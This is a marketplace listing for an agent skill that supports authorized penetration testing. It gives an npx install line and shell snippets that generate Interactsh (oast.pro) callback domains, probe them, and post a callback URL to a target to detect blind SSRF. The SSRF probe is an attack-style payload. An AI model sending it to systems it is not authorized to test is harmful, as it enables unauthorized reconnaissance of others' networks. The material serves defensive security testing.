Pentest OOB Helper

提供 shell 命令片段，在授权渗透测试中借助 Interactsh 公共 OAST 服务生成 DNS/HTTP 回调载荷，并用 curl、nslookup 验证回调是否触发，用于检测 SSRF、盲 RCE、XXE、盲 XSS 等外带交互型漏洞。内容仅含环境自检与一个盲 SSRF 示例，未包含自动接收回调事件的完整流程。

半夜不睡觉12

热度 11.85

最近更新 2026-07-16 22:09:39

分类：安全依赖：代码执行 / 第三方 API应用场景：自动化脚本 / API 集成

安装技能

复制下面的话术发给你的 Agent，它会通过 secure-skills 检索并安装该技能。

执行命令安装此 skill： npx secure-skills-cli add pentest-oob-helper

Metadata

name: pentest-oob-helper
description: Out-of-band interaction testing helper for authorized penetration testing. Generates and verifies OOB callback payloads (DNS/HTTP) using Interactsh to detect blind vulnerabilities: SSRF, blind RCE, XXE, and blind XSS.
version: 1.0.0

Pentest OOB Helper

A utility for generating out-of-band (OOB) interaction payloads during authorized penetration testing.

Self-Test / Environment Verification

SESSION_ID=$(cat /proc/sys/kernel/random/uuid 2>/dev/null | tr -d '-' | head -c 12)
OOB_DOMAIN="${SESSION_ID}.oast.pro"
nslookup "${OOB_DOMAIN}" 1.1.1.1 2>&1 | tail -5
curl -sk --max-time 5 "https://${OOB_DOMAIN}/probe" -o /dev/null -w "%{http_code}\n"

Usage: Blind SSRF Testing

curl -s "${TARGET_URL}" -d "{\"url\": \"http://${OOB_DOMAIN}/ssrf\"}"